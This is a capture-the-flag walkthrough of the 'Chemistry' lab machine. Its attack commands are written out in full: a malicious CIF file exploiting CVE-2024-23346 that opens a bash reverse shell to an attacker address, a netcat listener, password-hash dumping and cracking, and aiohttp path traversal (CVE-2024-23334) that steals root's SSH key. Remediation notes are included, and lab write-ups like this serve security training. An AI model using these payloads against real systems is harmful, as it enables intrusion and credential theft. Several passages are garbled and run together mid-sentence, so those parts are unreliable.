Chemistry
Summary
I scanned the target and found a Python Flask chemistry-structure application on port 5000 that accepted crystallographic information file (CIF) uploads. A malicious CIF file exploiting an unsafe Python expression-evaluation flaw in the pymatgen parsing library (CVE-2024-23346) delivered remote code execution as the web application process. From that foothold I read the app's on-disk SQLite database, cracked a user's weakly-hashed password offline, and reused it to log in over SSH as the system user 'rosa'.
Inside the system, an aiohttp static-file server running as root on localhost was found to be vulnerable to a path-traversal bug (CVE-2024-23334) that let any local user escape the document root with dot-dot sequences. I traversed to root's SSH private key, downloaded it, and authenticated directly as root — full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Service-version and default-script scan against both open ports.
$ nmap -Pn -sV -sC -p 22,5000 $TARGETInspect the Flask app landing page to identify features and technology clues.
$ curl -sS http://$TARGET:5000/Exact commands 3
Create a test account on the application.
$ curl -sS -c cookies.txt -X POST http://$TARGET:5000/register -d "username=$USERNAME&password=$PASSWORD2"Authenticate and capture the session cookie.
$ curl -sS -c cookies.txt -b cookies.txt -X POST http://$TARGET:5000/login -d "username=$USERNAME&password=$PASSWORD2"Enumerate authenticated routes and locate the upload and structure endpoints.
$ curl -sS -b cookies.txt http://$TARGET:5000/_space_group_magn.transform_BNS_Pp_abc field through an unsafe Python eval() call. A crafted CIF file with a reverse-shell payload in that field executed operating-system commands as the Flask application user when the file was parsed server-side. A listener on my machine received the shell, providing an interactive foothold on the host.Exact commands 3
Local listener for the incoming reverse shell (run in background).
$ nc -lnvp 4444Build the malicious CIF; replace $ATTACKER_IP with your tun0 VPN IP.
$ cat > malicious.cif <<EOF
data_exploit
_cell_length_a 10.00
_cell_length_b 10.00
_cell_length_c 10.00
_cell_angle_alpha 90.00
_cell_angle_beta 90.00
_cell_angle_gamma 90.00
_symmetry_space_group_name_H-M 'P 1'
_space_group_magn.transform_BNS_Pp_abc 'a,b,[x for x in (1).__class__.__base__.__subclasses__() if "warning" in x.__name__][0]()._module.__builtins__["__import__"]("os").system("bash -c \\"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1\\"") #'
loop_
_atom_site_label
_atom_site_fract_x
Fe 0.00 0.00 0.00
EOFUpload and trigger server-side parsing — eval fires the reverse shell.
$ curl -sS -b cookies.txt -X POST http://$TARGET:5000/upload -F 'file=@malicious.cif'FixUpgrade pymatgen to a version that eliminates CVE-2024-23346Critical
users table containing usernames and password hashes. The hash for account rosa was extracted and cracked offline against the rockyou wordlist, yielding the plaintext password <withheld>.Exact commands 3
From the reverse shell — locate SQLite database files on the filesystem.
$ find / -name '*.db' -o -name '*.sqlite3' 2>/dev/nullDump credential records; substitute the path found above.
$ sqlite3 /path/to/database.db 'SELECT username, password FROM users;'Crack the extracted hash (adjust -m mode to match: 0 = MD5, 3200 = bcrypt, etc.).
$ hashcat -m 0 rosa_hash.txt /usr/share/wordlists/rockyou.txt --forceFixHash passwords with a modern algorithm and prohibit password reuse across servicesHigh
PasswordAuthentication no) and requiring key-based login, which makes credential-reuse attacks impossible regardless of password quality.Exact commands 2
Authenticate as rosa using the cracked password.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rosa@$TARGETConfirm user identity and read the user flag.
$ id && cat ~/user.txt
uid=1000(rosa)assets/ directory. The installed aiohttp version was affected by CVE-2024-23334, a path-traversal bug in its static file handler triggered by unescaped dot-dot sequences in the request URL.Exact commands 2
From rosa's SSH session — list all locally listening TCP sockets.
$ ss -tlnpProbe the internal service to confirm it is reachable and identify its type.
$ curl -sS http://127.0.0.1:8085/follow_symlinks=True: the server fails to normalize ../ sequences before resolving paths, allowing callers to read any file the process can open. Because the service ran as root, I traversed up from the assets/ root to /root/.ssh/id_rsa, downloaded the key, set its permissions, and authenticated directly over SSH as root — yielding full system control.Exact commands 4
From rosa's session — traverse the aiohttp document root to read root's private SSH key.
$ curl -sS --path-as-is --max-time 5 'http://127.0.0.1:8085/assets/../../../../../root/.ssh/id_rsa' -o /tmp/chem_root_id_rsaSSH will reject the key file if its permissions are too open.
$ chmod 600 /tmp/chem_root_id_rsaAuthenticate as root using the stolen key.
$ ssh -i /tmp/chem_root_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGETConfirm root access and read the root flag.
$ id && cat /root/root.txtFixUpgrade aiohttp and run internal services as non-root (CVE-2024-23334)Critical
follow_symlinks=True, which disabled path normalization. Combined with the process running as root, any local user could send a request with ../ sequences to read arbitrary files on the system — including root's SSH private key.follow_symlinks=False (the safe default). Run the internal service as a dedicated non-root account so that even a complete path-traversal bypass cannot expose /root. Ensure /root/.ssh/ has mode 700 and id_rsa has mode 600 and is owned exclusively by root. If root SSH key login is not operationally required, remove the key pair and require privileged access only via sudo from a named account for auditability.Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) |
| 5000/tcp | http Werkzeug httpd 3.0.3 (Python 3.9.5) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.